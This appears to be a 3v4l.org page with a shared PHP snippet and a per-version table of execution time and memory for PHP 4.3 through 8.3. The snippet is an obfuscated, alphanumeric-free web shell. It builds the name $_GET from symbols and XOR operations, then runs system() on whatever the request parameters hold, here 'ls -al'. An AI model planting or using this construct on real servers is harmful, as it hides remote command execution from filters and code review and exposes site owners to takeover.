3v4l.org

run code in 300+ PHP versions simultaneously
<?php //TNG $_GET['0']='system'; $_GET['1']='ls -al'; @$_[]=@!+_; $__=@${_}>>$_;$_[]=$__;$_[]=@_;$_[((++$__)+($__++ ))].=$_; $_[]=++$__; $_[]=$_[--$__][$__>>$__];$_[$__].=(($__+$__)+ $_[$__-$__]).($__+$__+$__)+$_[$__-$__]; $_[$__+$__] =($_[$__][$__>>$__]).($_[$__][$__]^$_[$__][($__<<$__)-$__] ); $_[$__+$__] .=($_[$__][($__<<$__)-($__/$__)])^($_[$__][$__] ); $_[$__+$__] .=($_[$__][$__+$__])^$_[$__][($__<<$__)-$__ ]; $_=$ $_[$__+ $__] ;$_[@-_]($_[@!+_] );

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
8.3.60.0100.01018.68
8.3.50.0090.01121.14
8.3.40.0140.00018.67
8.3.30.0080.00620.32
8.3.20.0000.00820.16
8.3.10.0070.00421.95
8.3.00.0030.00622.40
8.2.180.0120.00616.50
8.2.170.0120.00322.96
8.2.160.0030.01020.27
8.2.150.0000.00824.18
8.2.140.0080.00024.66
8.2.130.0050.00226.16
8.2.120.0050.00319.77
8.2.110.0070.00420.39
8.2.100.0070.00417.97
8.2.90.0000.00818.22
8.2.80.0050.00219.27
8.2.70.0000.00817.75
8.2.60.0080.00018.16
8.2.50.0000.00818.07
8.2.40.0000.00718.22
8.2.30.0030.00618.13
8.2.20.0000.00917.72
8.2.10.0040.00417.70
8.2.00.0000.00817.74
8.1.280.0080.00825.92
8.1.270.0070.00024.66
8.1.260.0000.00826.35
8.1.250.0040.00428.09
8.1.240.0040.00422.06
8.1.230.0070.00720.79
8.1.220.0030.00617.74
8.1.210.0040.00419.00
8.1.200.0060.00617.37
8.1.190.0040.00417.53
8.1.180.0040.00419.13
8.1.170.0040.00418.60
8.1.160.0000.01022.07
8.1.150.0000.00718.66
8.1.140.0070.00017.42
8.1.130.0050.00317.83
8.1.120.0040.00417.45
8.1.110.0070.00317.43
8.1.100.0040.00417.41
8.1.90.0040.00417.42
8.1.80.0040.00417.45
8.1.70.0000.00717.30
8.1.60.0000.00817.63
8.1.50.0080.00017.57
8.1.40.0050.00217.58
8.1.30.0050.00217.55
8.1.20.0040.00417.60
8.1.10.0040.00417.60
8.1.00.0050.00617.56
8.0.300.0040.00420.00
8.0.290.0070.00017.18
8.0.280.0030.00318.45
8.0.270.0000.00717.27
8.0.260.0030.00316.78
8.0.250.0000.00717.05
8.0.240.0040.00416.98
8.0.230.0000.00716.97
8.0.220.0030.00316.87
8.0.210.0020.00516.91
8.0.200.0000.00617.05
8.0.190.0000.00717.05
8.0.180.0000.00816.84
8.0.170.0000.00816.92
8.0.160.0040.00416.84
8.0.150.0000.00916.89
8.0.140.0040.00416.98
8.0.130.0060.00013.41
8.0.120.0000.00816.87
8.0.110.0040.00416.98
8.0.100.0000.00716.95
8.0.90.0070.00017.04
8.0.80.0090.00616.90
8.0.70.0040.00416.77
8.0.60.0080.00016.98
8.0.50.0000.00816.78
8.0.30.0140.00517.28
8.0.20.0080.01217.40
8.0.10.0000.00817.21
8.0.00.0100.01016.92
7.4.330.0000.00415.00
7.4.320.0000.00716.57
7.4.300.0000.00616.45
7.4.290.0000.00716.46
7.4.280.0000.00716.63
7.4.270.0000.00716.51
7.4.260.0070.00016.52
7.4.250.0080.00016.41
7.4.240.0040.00416.53
7.4.230.0030.00316.65
7.4.220.0130.00916.63
7.4.210.0070.00816.62
7.4.200.0050.00316.33
7.4.190.0030.00316.64
7.4.160.0080.00816.46
7.4.150.0070.01017.40
7.4.140.0110.00817.86
7.4.130.0110.00616.61
7.4.120.0080.01016.51
7.4.110.0130.00316.59
7.4.100.0100.01316.55
7.4.90.0120.00916.58
7.4.80.0030.01419.39
7.4.70.0080.01116.28
7.4.60.0130.00616.64
7.4.50.0060.00316.66
7.4.40.0100.00722.77
7.4.30.0060.01016.61
7.4.00.0060.01114.94
7.3.330.0030.00313.24
7.3.320.0050.00013.30
7.3.310.0000.00716.25
7.3.300.0000.00716.30
7.3.290.0080.00816.46
7.3.280.0050.01116.42
7.3.270.0080.00817.40
7.3.260.0060.01816.42
7.3.250.0130.00416.53
7.3.240.0130.00316.36
7.3.230.0120.00816.58
7.3.210.0080.00916.30
7.3.200.0120.00619.39
7.3.190.0150.00616.41
7.3.180.0050.01016.45
7.3.170.0080.00816.67
7.3.160.0180.00616.43
7.3.120.0070.00915.04
7.3.110.0050.01014.91
7.3.100.0100.00314.84
7.3.90.0090.00614.72
7.3.80.0040.00914.96
7.3.70.0080.00614.76
7.3.60.0100.00514.78
7.3.50.0030.00914.82
7.3.40.0060.00514.73
7.3.30.0050.01014.91
7.3.20.0060.00616.84
7.3.10.0050.00816.63
7.3.00.0080.00716.66
7.2.330.0060.01216.64
7.2.320.0040.01916.75
7.2.310.0070.01416.41
7.2.300.0070.01416.55
7.2.290.0040.01216.64
7.2.250.0070.01114.96
7.2.240.0070.01314.97
7.2.230.0070.00815.14
7.2.220.0070.00815.04
7.2.210.0060.00715.09
7.2.200.0050.00915.07
7.2.190.0100.00514.95
7.2.180.0080.00715.11
7.2.170.0050.00714.84
7.2.60.0060.01017.09
7.1.330.0020.01415.61
7.1.320.0050.00915.91
7.1.310.0040.00815.84
7.1.300.0030.00815.86
7.1.290.0050.01015.89
7.1.280.0060.00615.81
7.1.270.0060.00915.86
7.1.260.0050.00915.86
7.1.200.0080.01115.44
7.1.70.0000.01117.28
7.1.60.0170.01019.43
7.1.50.0070.01816.84
7.1.00.0000.07322.36
7.0.200.0030.00616.47
7.0.140.0030.07722.04
7.0.60.0070.07719.88
7.0.50.0070.04017.91
7.0.40.0030.04320.07
7.0.30.0230.06020.00
7.0.20.0170.04720.13
7.0.10.0300.08020.11
7.0.00.0000.04720.30
5.6.280.0030.07320.91
5.6.210.0070.08320.76
5.6.200.0030.05018.22
5.6.190.0100.08320.55
5.6.180.0170.08720.57
5.6.170.0270.04320.46
5.6.160.0200.07020.48
5.6.150.0100.04018.23
5.6.140.0130.07018.18
5.6.130.0070.05018.19
5.6.120.0130.08020.91
5.6.110.0130.08021.00
5.6.100.0070.05020.98
5.6.90.0100.06720.98
5.6.80.0030.08320.55
5.5.350.0000.08720.41
5.5.340.0070.07718.04
5.5.330.0000.09320.47
5.5.320.0300.03720.17
5.5.310.0300.06320.12
5.5.300.0000.04717.89
5.5.290.0000.04317.88
5.5.280.0130.04720.78
5.5.270.0170.07320.98
5.5.260.0030.04720.66
5.5.250.0030.04020.63
5.5.240.0100.08020.05
5.4.450.0770.05019.42
5.4.440.1970.04019.10
5.4.430.2170.04319.53
5.4.420.1970.03719.39
5.4.410.1670.03719.29
5.4.400.1870.03318.82
5.4.390.1970.03719.10
5.4.380.1930.03719.07
5.4.370.1930.03719.07
5.4.360.1900.04019.13
5.4.350.1330.05018.82
5.4.340.0030.05019.26
5.4.320.0100.03319.08
5.4.310.1330.04018.82
5.4.300.2100.03319.16
5.4.290.1870.03319.13
5.4.280.2000.04318.89
5.4.270.2200.03718.93
5.4.260.2000.03719.09
5.4.250.2000.03319.14
5.4.240.1970.03719.23
5.4.230.1970.03719.23
5.4.220.1930.04019.21
5.4.210.1430.03719.15
5.4.200.0100.04019.15
5.4.190.0000.04019.23
5.4.180.0170.04018.93
5.4.170.2000.03718.77
5.4.160.2330.04719.07
5.4.150.2170.03718.91
5.4.140.2100.03016.38
5.4.130.1970.03716.50
5.4.120.2070.03716.26
5.4.110.2070.03716.44
5.4.100.2130.03016.10
5.4.90.2330.04016.44
5.4.80.1330.04016.33
5.4.70.0000.04716.36
5.4.60.0070.07016.36
5.4.50.1500.03716.41
5.4.40.1970.03316.32
5.4.30.2030.02716.36
5.4.20.2000.03716.41
5.4.10.1870.04016.46
5.4.00.2170.04015.67
5.3.290.2100.04714.73
5.3.280.2100.03714.45
5.3.270.2270.03714.60
5.3.260.2000.04014.58
5.3.250.0130.03714.48
5.3.240.0070.06714.56
5.3.230.0470.05714.56
5.3.220.2130.04014.46
5.3.210.2270.05014.68
5.3.200.1900.06314.48
5.3.190.2100.04014.54
5.3.180.2130.03014.43
5.3.170.2130.04314.42
5.3.160.2170.04014.53
5.3.150.2130.04714.42
5.3.140.2170.04014.52
5.3.130.0800.04314.44
5.3.120.0070.06314.41
5.3.110.0200.04714.52
5.3.100.2030.03013.91
5.3.90.2130.03714.02
5.3.80.2230.03714.05
5.3.70.2130.04713.99
5.3.60.1800.04313.93
5.3.50.1930.03313.81
5.3.40.2300.04013.91
5.3.30.2200.04013.84
5.3.20.2200.03013.50
5.3.10.1900.03713.69
5.3.00.0070.05313.43
5.2.170.0070.03011.18
5.2.160.0330.03711.01
5.2.150.2000.03011.11
5.2.140.1870.03711.05
5.2.130.1730.03711.01
5.2.120.1770.03310.98
5.2.110.1830.03311.14
5.2.100.1870.03010.97
5.2.90.1630.03010.98
5.2.80.0830.03310.98
5.2.70.0070.06011.16
5.2.60.0030.03710.91
5.2.50.0030.03010.99
5.2.40.0730.03310.90
5.2.30.1500.02710.93
5.2.20.0670.02710.98
5.2.10.0030.03710.80
5.2.00.0100.02710.81
5.1.60.1330.0239.94
5.1.50.1430.0239.94
5.1.40.1400.0239.92
5.1.30.1300.02710.57
5.1.20.1370.03010.41
5.1.10.1400.03010.02
5.1.00.1330.02310.16
5.0.50.0900.0208.48
5.0.40.0730.0208.41
5.0.30.0670.0308.24
5.0.20.0670.0208.24
5.0.10.0770.0178.24
5.0.00.0700.0278.24
4.4.90.0700.0208.24
4.4.80.0800.0208.24
4.4.70.0730.0108.24
4.4.60.0700.0208.24
4.4.50.0730.0208.24
4.4.40.0700.0208.24
4.4.30.0500.0178.24
4.4.20.0000.0208.24
4.4.10.0000.0178.24
4.4.00.0000.0278.24
4.3.110.0000.0178.24
4.3.100.0000.0278.24
4.3.90.0000.0178.24
4.3.80.0000.0378.24
4.3.70.0030.0138.24
4.3.60.0000.0308.24
4.3.50.0730.0178.24
4.3.40.0670.0238.24
4.3.30.0300.0178.24
4.3.20.0370.0138.24
4.3.10.0400.0238.24
4.3.00.0400.0108.24

preferences:
46.02 ms | 401 KiB | 5 Q